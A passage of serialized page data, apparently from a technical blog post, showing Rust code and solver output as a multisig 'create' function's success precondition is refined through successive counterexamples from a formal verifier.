Program",{"type":23,"tag":213,"props":23241,"children":23242},{"style":220},[23243],{"type":28,"value":358},{"type":23,"tag":213,"props":23245,"children":23246},{"style":290},[23247],{"type":28,"value":22976},{"type":23,"tag":213,"props":23249,"children":23250},{"style":220},[23251],{"type":28,"value":424},{"type":23,"tag":213,"props":23253,"children":23254},{"style":290},[23255],{"type":28,"value":23256},"System",{"type":23,"tag":213,"props":23258,"children":23259},{"style":220},[23260],{"type":28,"value":6230},{"type":23,"tag":213,"props":23262,"children":23263},{"class":215,"line":1838},[23264],{"type":23,"tag":213,"props":23265,"children":23266},{"style":220},[23267],{"type":28,"value":1208},{"type":23,"tag":213,"props":23269,"children":23270},{"class":215,"line":1851},[23271],{"type":23,"tag":213,"props":23272,"children":23273},{"emptyLinePlaceholder":18},[23274],{"type":28,"value":530},{"type":23,"tag":213,"props":23276,"children":23277},{"class":215,"line":1864},[23278,23282,23286,23290],{"type":23,"tag":213,"props":23279,"children":23280},{"style":230},[23281],{"type":28,"value":233},{"type":23,"tag":213,"props":23283,"children":23284},{"style":230},[23285],{"type":28,"value":254},{"type":23,"tag":213,"props":23287,"children":23288},{"style":257},[23289],{"type":28,"value":7203},{"type":23,"tag":213,"props":23291,"children":23292},{"style":220},[23293],{"type":28,"value":1511},{"type":23,"tag":213,"props":23295,"children":23296},{"class":215,"line":1890},[23297,23301,23305,23309,23313,23318],{"type":23,"tag":213,"props":23298,"children":23299},{"style":268},[23300],{"type":28,"value":20278},{"type":23,"tag":213,"props":23302,"children":23303},{"style":274},[23304],{"type":28,"value":277},{"type":23,"tag":213,"props":23306,"children":23307},{"style":290},[23308],{"type":28,"value":20344},{"type":23,"tag":213,"props":23310,"children":23311},{"style":220},[23312],{"type":28,"value":434},{"type":23,"tag":213,"props":23314,"children":23315},{"style":290},[23316],{"type":28,"value":23317},"Create",{"type":23,"tag":213,"props":23319,"children":23320},{"style":220},[23321],{"type":28,"value":6230},{"type":23,"tag":213,"props":23323,"children":23324},{"class":215,"line":1899},[23325,23330,23334,23338],{"type":23,"tag":213,"props":23326,"children":23327},{"style":268},[23328],{"type":28,"value":23329}," threshold",{"type":23,"tag":213,"props":23331,"children":23332},{"style":274},[23333],{"type":28,"value":277},{"type":23,"tag":213,"props":23335,"children":23336},{"style":290},[23337],{"type":28,"value":21081},{"type":23,"tag":213,"props":23339,"children":23340},{"style":220},[23341],{"type":28,"value":944},{"type":23,"tag":213,"props":23343,"children":23344},{"class":215,"line":1912},[23345,23350,23354,23358],{"type":23,"tag":213,"props":23346,"children":23347},{"style":268},[23348],{"type":28,"value":23349}," create_key",{"type":23,"tag":213,"props":23351,"children":23352},{"style":274},[23353],{"type":28,"value":277},{"type":23,"tag":213,"props":23355,"children":23356},{"style":290},[23357],{"type":28,"value":419},{"type":23,"tag":213,"props":23359,"children":23360},{"style":220},[23361],{"type":28,"value":944},{"type":23,"tag":213,"props":23363,"children":23364},{"class":215,"line":1921},[23365,23370,23374,23378,23382,23386],{"type":23,"tag":213,"props":23366,"children":23367},{"style":268},[23368],{"type":28,"value":23369}," members",{"type":23,"tag":213,"props":23371,"children":23372},{"style":274},[23373],{"type":28,"value":277},{"type":23,"tag":213,"props":23375,"children":23376},{"style":290},[23377],{"type":28,"value":21439},{"type":23,"tag":213,"props":23379,"children":23380},{"style":220},[23381],{"type":28,"value":434},{"type":23,"tag":213,"props":23383,"children":23384},{"style":290},[23385],{"type":28,"value":1532},{"type":23,"tag":213,"props":23387,"children":23388},{"style":220},[23389],{"type":28,"value":6230},{"type":23,"tag":213,"props":23391,"children":23392},{"class":215,"line":3879},[23393,23397,23401,23405],{"type":23,"tag":213,"props":23394,"children":23395},{"style":220},[23396],{"type":28,"value":298},{"type":23,"tag":213,"props":23398,"children":23399},{"style":274},[23400],{"type":28,"value":303},{"type":23,"tag":213,"props":23402,"children":23403},{"style":290},[23404],{"type":28,"value":13838},{"type":23,"tag":213,"props":23406,"children":23407},{"style":220},[23408],{"type":28,"value":20386},{"type":23,"tag":213,"props":23410,"children":23411},{"class":215,"line":3887},[23412],{"type":23,"tag":213,"props":23413,"children":23414},{"style":537},[23415],{"type":28,"value":23416}," // sort the members and remove duplicates\n",{"type":23,"tag":213,"props":23418,"children":23419},{"class":215,"line":3918},[23420,23424,23428,23433,23437,23441],{"type":23,"tag":213,"props":23421,"children":23422},{"style":230},[23423],{"type":28,"value":487},{"type":23,"tag":213,"props":23425,"children":23426},{"style":230},[23427],{"type":28,"value":492},{"type":23,"tag":213,"props":23429,"children":23430},{"style":268},[23431],{"type":28,"value":23432}," members",{"type":23,"tag":213,"props":23434,"children":23435},{"style":274},[23436],{"type":28,"value":511},{"type":23,"tag":213,"props":23438,"children":23439},{"style":268},[23440],{"type":28,"value":23432},{"type":23,"tag":213,"props":23442,"children":23443},{"style":220},[23444],{"type":28,"value":313},{"type":23,"tag":213,"props":23446,"children":23447},{"class":215,"line":3926},[23448,23452,23456,23461],{"type":23,"tag":213,"props":23449,"children":23450},{"style":268},[23451],{"type":28,"value":23369},{"type":23,"tag":213,"props":23453,"children":23454},{"style":274},[23455],{"type":28,"value":124},{"type":23,"tag":213,"props":23457,"children":23458},{"style":257},[23459],{"type":28,"value":23460},"sort",{"type":23,"tag":213,"props":23462,"children":23463},{"style":220},[23464],{"type":28,"value":3759},{"type":23,"tag":213,"props":23466,"children":23467},{"class":215,"line":3986},[23468,23472,23476,23481],{"type":23,"tag":213,"props":23469,"children":23470},{"style":268},[23471],{"type":28,"value":23369},{"type":23,"tag":213,"props":23473,"children":23474},{"style":274},[23475],{"type":28,"value":124},{"type":23,"tag":213,"props":23477,"children":23478},{"style":257},[23479],{"type":28,"value":23480},"dedup",{"type":23,"tag":213,"props":23482,"children":23483},{"style":220},[23484],{"type":28,"value":3759},{"type":23,"tag":213,"props":23486,"children":23487},{"class":215,"line":9132},[23488],{"type":23,"tag":213,"props":23489,"children":23490},{"emptyLinePlaceholder":18},[23491],{"type":28,"value":530},{"type":23,"tag":213,"props":23493,"children":23494},{"class":215,"line":9150},[23495],{"type":23,"tag":213,"props":23496,"children":23497},{"style":537},[23498],{"type":28,"value":23499}," // check we don't exceed u16\n",{"type":23,"tag":213,"props":23501,"children":23502},{"class":215,"line":9195},[23503,23507,23512,23516,23520,23524,23528],{"type":23,"tag":213,"props":23504,"children":23505},{"style":230},[23506],{"type":28,"value":487},{"type":23,"tag":213,"props":23508,"children":23509},{"style":268},[23510],{"type":28,"value":23511}," total_members",{"type":23,"tag":213,"props":23513,"children":23514},{"style":274},[23515],{"type":28,"value":511},{"type":23,"tag":213,"props":23517,"children":23518},{"style":268},[23519],{"type":28,"value":23432},{"type":23,"tag":213,"props":23521,"children":23522},{"style":274},[23523],{"type":28,"value":124},{"type":23,"tag":213,"props":23525,"children":23526},{"style":257},[23527],{"type":28,"value":9225},{"type":23,"tag":213,"props":23529,"children":23530},{"style":220},[23531],{"type":28,"value":3759},{"type":23,"tag":213,"props":23533,"children":23534},{"class":215,"line":9301},[23535,23539,23543,23547,23551],{"type":23,"tag":213,"props":23536,"children":23537},{"style":1362},[23538],{"type":28,"value":2653},{"type":23,"tag":213,"props":23540,"children":23541},{"style":268},[23542],{"type":28,"value":23511},{"type":23,"tag":213,"props":23544,"children":23545},{"style":274},[23546],{"type":28,"value":8804},{"type":23,"tag":213,"props":23548,"children":23549},{"style":514},[23550],{"type":28,"value":4618},{"type":23,"tag":213,"props":23552,"children":23553},{"style":220},[23554],{"type":28,"value":1375},{"type":23,"tag":213,"props":23556,"children":23558},{"class":215,"line":23557},31,[23559,23563,23568,23572,23577,23581,23586],{"type":23,"tag":213,"props":23560,"children":23561},{"style":1362},[23562],{"type":28,"value":2839},{"type":23,"tag":213,"props":23564,"children":23565},{"style":257},[23566],{"type":28,"value":23567}," err!",{"type":23,"tag":213,"props":23569,"children":23570},{"style":220},[23571],{"type":28,"value":265},{"type":23,"tag":213,"props":23573,"children":23574},{"style":290},[23575],{"type":28,"value":23576},"MsError",{"type":23,"tag":213,"props":23578,"children":23579},{"style":274},[23580],{"type":28,"value":562},{"type":23,"tag":213,"props":23582,"children":23583},{"style":290},[23584],{"type":28,"value":23585},"EmptyMembers",{"type":23,"tag":213,"props":23587,"children":23588},{"style":220},[23589],{"type":28,"value":2867},{"type":23,"tag":213,"props":23591,"children":23593},{"class":215,"line":23592},32,[23594],{"type":23,"tag":213,"props":23595,"children":23596},{"style":220},[23597],{"type":28,"value":2875},{"type":23,"tag":213,"props":23599,"children":23601},{"class":215,"line":23600},33,[23602],{"type":23,"tag":213,"props":23603,"children":23604},{"emptyLinePlaceholder":18},[23605],{"type":28,"value":530},{"type":23,"tag":213,"props":23607,"children":23609},{"class":215,"line":23608},34,[23610],{"type":23,"tag":213,"props":23611,"children":23612},{"style":537},[23613],{"type":28,"value":23614}," // make sure we don't exceed u16 on first call\n",{"type":23,"tag":213,"props":23616,"children":23618},{"class":215,"line":23617},35,[23619,23623,23627,23631,23635,23639,23643,23648,23652],{"type":23,"tag":213,"props":23620,"children":23621},{"style":1362},[23622],{"type":28,"value":2653},{"type":23,"tag":213,"props":23624,"children":23625},{"style":268},[23626],{"type":28,"value":23511},{"type":23,"tag":213,"props":23628,"children":23629},{"style":274},[23630],{"type":28,"value":14268},{"type":23,"tag":213,"props":23632,"children":23633},{"style":290},[23634],{"type":28,"value":506},{"type":23,"tag":213,"props":23636,"children":23637},{"style":274},[23638],{"type":28,"value":562},{"type":23,"tag":213,"props":23640,"children":23641},{"style":257},[23642],{"type":28,"value":19527},{"type":23,"tag":213,"props":23644,"children":23645},{"style":220},[23646],{"type":28,"value":23647},"(u16",{"type":23,"tag":213,"props":23649,"children":23650},{"style":274},[23651],{"type":28,"value":562},{"type":23,"tag":213,"props":23653,"children":23654},{"style":220},[23655],{"type":28,"value":23656},"MAX) {\n",{"type":23,"tag":213,"props":23658,"children":23660},{"class":215,"line":23659},36,[23661,23665,23669,23673,23677,23681,23686],{"type":23,"tag":213,"props":23662,"children":23663},{"style":1362},[23664],{"type":28,"value":2839},{"type":23,"tag":213,"props":23666,"children":23667},{"style":257},[23668],{"type":28,"value":23567},{"type":23,"tag":213,"props":23670,"children":23671},{"style":220},[23672],{"type":28,"value":265},{"type":23,"tag":213,"props":23674,"children":23675},{"style":290},[23676],{"type":28,"value":23576},{"type":23,"tag":213,"props":23678,"children":23679},{"style":274},[23680],{"type":28,"value":562},{"type":23,"tag":213,"props":23682,"children":23683},{"style":290},[23684],{"type":28,"value":23685},"MaxMembersReached",{"type":23,"tag":213,"props":23687,"children":23688},{"style":220},[23689],{"type":28,"value":2867},{"type":23,"tag":213,"props":23691,"children":23693},{"class":215,"line":23692},37,[23694],{"type":23,"tag":213,"props":23695,"children":23696},{"style":220},[23697],{"type":28,"value":2875},{"type":23,"tag":213,"props":23699,"children":23701},{"class":215,"line":23700},38,[23702],{"type":23,"tag":213,"props":23703,"children":23704},{"emptyLinePlaceholder":18},[23705],{"type":28,"value":530},{"type":23,"tag":213,"props":23707,"children":23709},{"class":215,"line":23708},39,[23710],{"type":23,"tag":213,"props":23711,"children":23712},{"style":537},[23713],{"type":28,"value":23714}," // make sure threshold is valid\n",{"type":23,"tag":213,"props":23716,"children":23718},{"class":215,"line":23717},40,[23719,23723,23727,23731,23735,23739,23743,23748,23752,23757,23761,23765,23769,23773,23777,23782,23787],{"type":23,"tag":213,"props":23720,"children":23721},{"style":1362},[23722],{"type":28,"value":2653},{"type":23,"tag":213,"props":23724,"children":23725},{"style":290},[23726],{"type":28,"value":506},{"type":23,"tag":213,"props":23728,"children":23729},{"style":274},[23730],{"type":28,"value":562},{"type":23,"tag":213,"props":23732,"children":23733},{"style":257},[23734],{"type":28,"value":19527},{"type":23,"tag":213,"props":23736,"children":23737},{"style":220},[23738],{"type":28,"value":265},{"type":23,"tag":213,"props":23740,"children":23741},{"style":268},[23742],{"type":28,"value":22799},{"type":23,"tag":213,"props":23744,"children":23745},{"style":220},[23746],{"type":28,"value":23747},") \u003C ",{"type":23,"tag":213,"props":23749,"children":23750},{"style":514},[23751],{"type":28,"value":4106},{"type":23,"tag":213,"props":23753,"children":23754},{"style":274},[23755],{"type":28,"value":23756}," ||",{"type":23,"tag":213,"props":23758,"children":23759},{"style":290},[23760],{"type":28,"value":506},{"type":23,"tag":213,"props":23762,"children":23763},{"style":274},[23764],{"type":28,"value":562},{"type":23,"tag":213,"props":23766,"children":23767},{"style":257},[23768],{"type":28,"value":19527},{"type":23,"tag":213,"props":23770,"children":23771},{"style":220},[23772],{"type":28,"value":265},{"type":23,"tag":213,"props":23774,"children":23775},{"style":268},[23776],{"type":28,"value":22799},{"type":23,"tag":213,"props":23778,"children":23779},{"style":220},[23780],{"type":28,"value":23781},") > ",{"type":23,"tag":213,"props":23783,"children":23784},{"style":268},[23785],{"type":28,"value":23786},"total_members",{"type":23,"tag":213,"props":23788,"children":23789},{"style":220},[23790],{"type":28,"value":1375},{"type":23,"tag":213,"props":23792,"children":23794},{"class":215,"line":23793},41,[23795,23799,23803,23807,23811,23815,23820],{"type":23,"tag":213,"props":23796,"children":23797},{"style":1362},[23798],{"type":28,"value":2839},{"type":23,"tag":213,"props":23800,"children":23801},{"style":257},[23802],{"type":28,"value":23567},{"type":23,"tag":213,"props":23804,"children":23805},{"style":220},[23806],{"type":28,"value":265},{"type":23,"tag":213,"props":23808,"children":23809},{"style":290},[23810],{"type":28,"value":23576},{"type":23,"tag":213,"props":23812,"children":23813},{"style":274},[23814],{"type":28,"value":562},{"type":23,"tag":213,"props":23816,"children":23817},{"style":290},[23818],{"type":28,"value":23819},"InvalidThreshold",{"type":23,"tag":213,"props":23821,"children":23822},{"style":220},[23823],{"type":28,"value":2867},{"type":23,"tag":213,"props":23825,"children":23827},{"class":215,"line":23826},42,[23828],{"type":23,"tag":213,"props":23829,"children":23830},{"style":220},[23831],{"type":28,"value":2875},{"type":23,"tag":213,"props":23833,"children":23835},{"class":215,"line":23834},43,[23836],{"type":23,"tag":213,"props":23837,"children":23838},{"emptyLinePlaceholder":18},[23839],{"type":28,"value":530},{"type":23,"tag":213,"props":23841,"children":23843},{"class":215,"line":23842},44,[23844,23848,23852,23856,23860,23865,23869,23873],{"type":23,"tag":213,"props":23845,"children":23846},{"style":268},[23847],{"type":28,"value":20278},{"type":23,"tag":213,"props":23849,"children":23850},{"style":274},[23851],{"type":28,"value":124},{"type":23,"tag":213,"props":23853,"children":23854},{"style":220},[23855],{"type":28,"value":14743},{"type":23,"tag":213,"props":23857,"children":23858},{"style":274},[23859],{"type":28,"value":124},{"type":23,"tag":213,"props":23861,"children":23862},{"style":220},[23863],{"type":28,"value":23864},"multisig",{"type":23,"tag":213,"props":23866,"children":23867},{"style":274},[23868],{"type":28,"value":124},{"type":23,"tag":213,"props":23870,"children":23871},{"style":257},[23872],{"type":28,"value":20794},{"type":23,"tag":213,"props":23874,"children":23875},{"style":220},[23876],{"type":28,"value":1511},{"type":23,"tag":213,"props":23878,"children":23880},{"class":215,"line":23879},45,[23881,23886],{"type":23,"tag":213,"props":23882,"children":23883},{"style":268},[23884],{"type":28,"value":23885}," threshold",{"type":23,"tag":213,"props":23887,"children":23888},{"style":220},[23889],{"type":28,"value":944},{"type":23,"tag":213,"props":23891,"children":23893},{"class":215,"line":23892},46,[23894,23899],{"type":23,"tag":213,"props":23895,"children":23896},{"style":268},[23897],{"type":28,"value":23898}," create_key",{"type":23,"tag":213,"props":23900,"children":23901},{"style":220},[23902],{"type":28,"value":944},{"type":23,"tag":213,"props":23904,"children":23906},{"class":215,"line":23905},47,[23907,23912],{"type":23,"tag":213,"props":23908,"children":23909},{"style":268},[23910],{"type":28,"value":23911}," members",{"type":23,"tag":213,"props":23913,"children":23914},{"style":220},[23915],{"type":28,"value":944},{"type":23,"tag":213,"props":23917,"children":23919},{"class":215,"line":23918},48,[23920,23924,23928,23932,23937,23941,23945,23949,23954,23958,23962,23966],{"type":23,"tag":213,"props":23921,"children":23922},{"style":274},[23923],{"type":28,"value":7839},{"type":23,"tag":213,"props":23925,"children":23926},{"style":268},[23927],{"type":28,"value":20335},{"type":23,"tag":213,"props":23929,"children":23930},{"style":274},[23931],{"type":28,"value":124},{"type":23,"tag":213,"props":23933,"children":23934},{"style":220},[23935],{"type":28,"value":23936},"bumps",{"type":23,"tag":213,"props":23938,"children":23939},{"style":274},[23940],{"type":28,"value":124},{"type":23,"tag":213,"props":23942,"children":23943},{"style":257},[23944],{"type":28,"value":16403},{"type":23,"tag":213,"props":23946,"children":23947},{"style":220},[23948],{"type":28,"value":265},{"type":23,"tag":213,"props":23950,"children":23951},{"style":246},[23952],{"type":28,"value":23953},"\"multisig\"",{"type":23,"tag":213,"props":23955,"children":23956},{"style":220},[23957],{"type":28,"value":2121},{"type":23,"tag":213,"props":23959,"children":23960},{"style":274},[23961],{"type":28,"value":124},{"type":23,"tag":213,"props":23963,"children":23964},{"style":257},[23965],{"type":28,"value":3754},{"type":23,"tag":213,"props":23967,"children":23968},{"style":220},[23969],{"type":28,"value":1809},{"type":23,"tag":213,"props":23971,"children":23973},{"class":215,"line":23972},49,[23974],{"type":23,"tag":213,"props":23975,"children":23976},{"style":220},[23977],{"type":28,"value":1918},{"type":23,"tag":213,"props":23979,"children":23981},{"class":215,"line":23980},50,[23982],{"type":23,"tag":213,"props":23983,"children":23984},{"style":220},[23985],{"type":28,"value":1208},{"type":23,"tag":24,"props":23987,"children":23988},{},[23989,23991,23996,23998,24003],{"type":28,"value":23990},"We can start by testing an empty ",{"type":23,"tag":209,"props":23992,"children":23994},{"className":23993},[],[23995],{"type":28,"value":20209},{"type":28,"value":23997}," (this will default to ",{"type":23,"tag":209,"props":23999,"children":24001},{"className":24000},[],[24002],{"type":28,"value":1710},{"type":28,"value":24004},"):",{"type":23,"tag":202,"props":24006,"children":24008},{"code":24007,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[24009],{"type":23,"tag":209,"props":24010,"children":24011},{"__ignoreMap":7},[24012,24020],{"type":23,"tag":213,"props":24013,"children":24014},{"class":215,"line":216},[24015],{"type":23,"tag":213,"props":24016,"children":24017},{"style":220},[24018],{"type":28,"value":24019},"#[succeeds_if()]\n",{"type":23,"tag":213,"props":24021,"children":24022},{"class":215,"line":226},[24023,24027,24031,24035,24039,24043,24048,24052],{"type":23,"tag":213,"props":24024,"children":24025},{"style":230},[24026],{"type":28,"value":233},{"type":23,"tag":213,"props":24028,"children":24029},{"style":230},[24030],{"type":28,"value":254},{"type":23,"tag":213,"props":24032,"children":24033},{"style":257},[24034],{"type":28,"value":7203},{"type":23,"tag":213,"props":24036,"children":24037},{"style":220},[24038],{"type":28,"value":265},{"type":23,"tag":213,"props":24040,"children":24041},{"style":274},[24042],{"type":28,"value":9675},{"type":23,"tag":213,"props":24044,"children":24045},{"style":220},[24046],{"type":28,"value":24047},") { ",{"type":23,"tag":213,"props":24049,"children":24050},{"style":274},[24051],{"type":28,"value":9675},{"type":23,"tag":213,"props":24053,"children":24054},{"style":220},[24055],{"type":28,"value":9680},{"type":23,"tag":24,"props":24057,"children":24058},{},[24059],{"type":28,"value":24060},"Running the solver, we get:",{"type":23,"tag":202,"props":24062,"children":24064},{"code":24063},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[24065],{"type":23,"tag":209,"props":24066,"children":24067},{"__ignoreMap":7},[24068],{"type":28,"value":24063},{"type":23,"tag":24,"props":24070,"children":24071},{},[24072,24074,24079],{"type":28,"value":24073},"This means that ",{"type":23,"tag":209,"props":24075,"children":24077},{"className":24076},[],[24078],{"type":28,"value":1710},{"type":28,"value":24080}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":24082,"children":24083},{},[24084],{"type":28,"value":24085},"We can ask the solver to produce a counterexample:",{"type":23,"tag":202,"props":24087,"children":24089},{"code":24088},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24090],{"type":23,"tag":209,"props":24091,"children":24092},{"__ignoreMap":7},[24093],{"type":28,"value":24088},{"type":23,"tag":24,"props":24095,"children":24096},{},[24097],{"type":28,"value":24098},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":24100,"children":24101},{},[24102],{"type":23,"tag":87,"props":24103,"children":24104},{},[24105,24107,24113],{"type":28,"value":24106},"Note also that the verifier decided to use a ",{"type":23,"tag":209,"props":24108,"children":24110},{"className":24109},[],[24111],{"type":28,"value":24112},"SparseVec",{"type":28,"value":24114}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":24116,"children":24117},{},[24118],{"type":23,"tag":87,"props":24119,"children":24120},{},[24121,24123,24128,24129,24135,24137,24142,24144,24149],{"type":28,"value":24122},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":209,"props":24124,"children":24126},{"className":24125},[],[24127],{"type":28,"value":3902},{"type":28,"value":1466},{"type":23,"tag":209,"props":24130,"children":24132},{"className":24131},[],[24133],{"type":28,"value":24134},"pop",{"type":28,"value":24136}," are stubbed out to simply panic for the ",{"type":23,"tag":209,"props":24138,"children":24140},{"className":24139},[],[24141],{"type":28,"value":24112},{"type":28,"value":24143}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":209,"props":24145,"children":24147},{"className":24146},[],[24148],{"type":28,"value":429},{"type":28,"value":24150}," type.",{"type":23,"tag":24,"props":24152,"children":24153},{},[24154],{"type":28,"value":24155},"We can add this to our constraint and try again:",{"type":23,"tag":202,"props":24157,"children":24159},{"code":24158,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[24160],{"type":23,"tag":209,"props":24161,"children":24162},{"__ignoreMap":7},[24163,24171,24208,24215],{"type":23,"tag":213,"props":24164,"children":24165},{"class":215,"line":216},[24166],{"type":23,"tag":213,"props":24167,"children":24168},{"style":220},[24169],{"type":28,"value":24170},"#[succeeds_if(\n",{"type":23,"tag":213,"props":24172,"children":24173},{"class":215,"line":226},[24174,24179,24183,24187,24191,24195,24199,24203],{"type":23,"tag":213,"props":24175,"children":24176},{"style":220},[24177],{"type":28,"value":24178}," (threshold ",{"type":23,"tag":213,"props":24180,"children":24181},{"style":230},[24182],{"type":28,"value":623},{"type":23,"tag":213,"props":24184,"children":24185},{"style":290},[24186],{"type":28,"value":506},{"type":23,"tag":213,"props":24188,"children":24189},{"style":220},[24190],{"type":28,"value":298},{"type":23,"tag":213,"props":24192,"children":24193},{"style":274},[24194],{"type":28,"value":19468},{"type":23,"tag":213,"props":24196,"children":24197},{"style":220},[24198],{"type":28,"value":23432},{"type":23,"tag":213,"props":24200,"children":24201},{"style":274},[24202],{"type":28,"value":124},{"type":23,"tag":213,"props":24204,"children":24205},{"style":220},[24206],{"type":28,"value":24207},"len()\n",{"type":23,"tag":213,"props":24209,"children":24210},{"class":215,"line":524},[24211],{"type":23,"tag":213,"props":24212,"children":24213},{"style":220},[24214],{"type":28,"value":20313},{"type":23,"tag":213,"props":24216,"children":24217},{"class":215,"line":533},[24218,24222,24226,24230,24234,24238,24242,24246],{"type":23,"tag":213,"props":24219,"children":24220},{"style":230},[24221],{"type":28,"value":233},{"type":23,"tag":213,"props":24223,"children":24224},{"style":230},[24225],{"type":28,"value":254},{"type":23,"tag":213,"props":24227,"children":24228},{"style":257},[24229],{"type":28,"value":7203},{"type":23,"tag":213,"props":24231,"children":24232},{"style":220},[24233],{"type":28,"value":265},{"type":23,"tag":213,"props":24235,"children":24236},{"style":274},[24237],{"type":28,"value":9675},{"type":23,"tag":213,"props":24239,"children":24240},{"style":220},[24241],{"type":28,"value":24047},{"type":23,"tag":213,"props":24243,"children":24244},{"style":274},[24245],{"type":28,"value":9675},{"type":23,"tag":213,"props":24247,"children":24248},{"style":220},[24249],{"type":28,"value":9680},{"type":23,"tag":24,"props":24251,"children":24252},{},[24253],{"type":28,"value":24254},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":202,"props":24256,"children":24258},{"code":24257},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24259],{"type":23,"tag":209,"props":24260,"children":24261},{"__ignoreMap":7},[24262],{"type":28,"value":24257},{"type":23,"tag":24,"props":24264,"children":24265},{},[24266],{"type":28,"value":24267},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":202,"props":24269,"children":24271},{"code":24270,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[24272],{"type":23,"tag":209,"props":24273,"children":24274},{"__ignoreMap":7},[24275,24282,24317,24338,24345],{"type":23,"tag":213,"props":24276,"children":24277},{"class":215,"line":216},[24278],{"type":23,"tag":213,"props":24279,"children":24280},{"style":220},[24281],{"type":28,"value":24170},{"type":23,"tag":213,"props":24283,"children":24284},{"class":215,"line":226},[24285,24289,24293,24297,24301,24305,24309,24313],{"type":23,"tag":213,"props":24286,"children":24287},{"style":220},[24288],{"type":28,"value":24178},{"type":23,"tag":213,"props":24290,"children":24291},{"style":230},[24292],{"type":28,"value":623},{"type":23,"tag":213,"props":24294,"children":24295},{"style":290},[24296],{"type":28,"value":506},{"type":23,"tag":213,"props":24298,"children":24299},{"style":220},[24300],{"type":28,"value":298},{"type":23,"tag":213,"props":24302,"children":24303},{"style":274},[24304],{"type":28,"value":19468},{"type":23,"tag":213,"props":24306,"children":24307},{"style":220},[24308],{"type":28,"value":23432},{"type":23,"tag":213,"props":24310,"children":24311},{"style":274},[24312],{"type":28,"value":124},{"type":23,"tag":213,"props":24314,"children":24315},{"style":220},[24316],{"type":28,"value":24207},{"type":23,"tag":213,"props":24318,"children":24319},{"class":215,"line":524},[24320,24324,24329,24333],{"type":23,"tag":213,"props":24321,"children":24322},{"style":274},[24323],{"type":28,"value":15678},{"type":23,"tag":213,"props":24325,"children":24326},{"style":220},[24327],{"type":28,"value":24328}," threshold ",{"type":23,"tag":213,"props":24330,"children":24331},{"style":274},[24332],{"type":28,"value":15743},{"type":23,"tag":213,"props":24334,"children":24335},{"style":220},[24336],{"type":28,"value":24337}," 0\n",{"type":23,"tag":213,"props":24339,"children":24340},{"class":215,"line":533},[24341],{"type":23,"tag":213,"props":24342,"children":24343},{"style":220},[24344],{"type":28,"value":20313},{"type":23,"tag":213,"props":24346,"children":24347},{"class":215,"line":543},[24348,24352,24356,24360,24364,24368,24372,24376],{"type":23,"tag":213,"props":24349,"children":24350},{"style":230},[24351],{"type":28,"value":233},{"type":23,"tag":213,"props":24353,"children":24354},{"style":230},[24355],{"type":28,"value":254},{"type":23,"tag":213,"props":24357,"children":24358},{"style":257},[24359],{"type":28,"value":7203},{"type":23,"tag":213,"props":24361,"children":24362},{"style":220},[24363],{"type":28,"value":265},{"type":23,"tag":213,"props":24365,"children":24366},{"style":274},[24367],{"type":28,"value":9675},{"type":23,"tag":213,"props":24369,"children":24370},{"style":220},[24371],{"type":28,"value":24047},{"type":23,"tag":213,"props":24373,"children":24374},{"style":274},[24375],{"type":28,"value":9675},{"type":23,"tag":213,"props":24377,"children":24378},{"style":220},[24379],{"type":28,"value":9680},{"type":23,"tag":24,"props":24381,"children":24382},{},[24383],{"type":28,"value":24384},"A third counterexample:",{"type":23,"tag":202,"props":24386,"children":24388},{"code":24387},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[24389],{"type":23,"tag":209,"props":24390,"children":24391},{"__ignoreMap":7},[24392],{"type":28,"value":24387},{"type":23,"tag":24,"props":24394,"children":24395},{},[24396,24398,24404],{"type":28,"value":24397},"Here we see the size of our ",{"type":23,"tag":209,"props":24399,"children":24401},{"className":24400},[],[24402],{"type":28,"value":24403},"members",{"type":28,"value":24405}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":202,"props":24407,"children":24409},{"code":24408,"language":205,"meta":7,"className":206,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[24410],{"type":23,"tag":209,"props":24411,"children":24412},{"__ignoreMap":7},[24413,24420,24455,24476,24528,24535],{"type":23,"tag":213,"props":24414,"children":24415},{"class":215,"line":216},[24416],{"type":23,"tag":213,"props":24417,"children":24418},{"style":220},[24419],{"type":28,"value":24170},{"type":23,"tag":213,"props":24421,"children":24422},{"class":215,"line":226},[24423,24427,24431,24435,24439,24443,24447,24451],{"type":23,"tag":213,"props":24424,"children":24425},{"style":220},[24426],{"type":28,"value":24178},{"type":23,"tag":213,"props":24428,"children":24429},{"style":230},[24430],{"type":28,"value":623},{"type":23,"tag":213,"props":24432,"children":24433},{"style":290},[24434],{"type":28,"value":506},{"type":23,"tag":213,"props":24436,"children":24437},{"style":220},[24438],{"type":28,"value":298},{"type":23,"tag":213,"props":24440,"children":24441},{"style":274},[24442],{"type":28,"value":19468},{"type":23,"tag":213,"props":24444,"children":24445},{"style":220},[24446],{"type":28,"value":23432},{"type":23,"tag":213,"props":24448,"children":24449},{"style":274},[24450],{"type":28,"value":124},{"type":23,"tag":213,"props":24452,"children":24453},{"style":220},[24454],{"type":28,"value":24207},{"type":23,"tag":213,"props":24456,"children":24457},{"class":215,"line":524},[24458,24462,24467,24471],{"type":23,"tag":213,"props":24459,"children":24460},{"style":274},[24461],{"type":28,"value":15678},{"type":23,"tag":213,"props":24463,"children":24464},{"style":220},[24465],{"type":28,"value":24466}," (threshold 